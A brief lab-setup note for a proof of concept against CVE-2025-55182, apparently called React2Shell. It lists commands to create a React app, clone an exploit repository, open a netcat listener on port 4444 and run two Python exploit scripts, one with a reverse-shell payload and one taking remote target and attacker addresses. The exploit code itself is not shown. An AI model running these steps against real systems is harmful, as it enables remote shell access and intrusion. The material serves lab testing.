
POC and lab setup
POC and lab setup
npm create [email protected] react2shell-lab
Accept defaults is fine, name it whatever
git clone https://github.com/timsonner/React2Shell-CVE-2025-55182.git
npm install
cd react2shell-lab
npm run dev
nc -nlvp 4444
python3 react2shell-exploit-1.py
This exploit is good for testing the localhost configuration. Uncomment teh other payload for a reverse shell...
python3 react2shell-exploit-2.py
This version asks for user input for remote target and attacker IPs and ports. The post body (body_parts) is also trimmed down slightly in this version.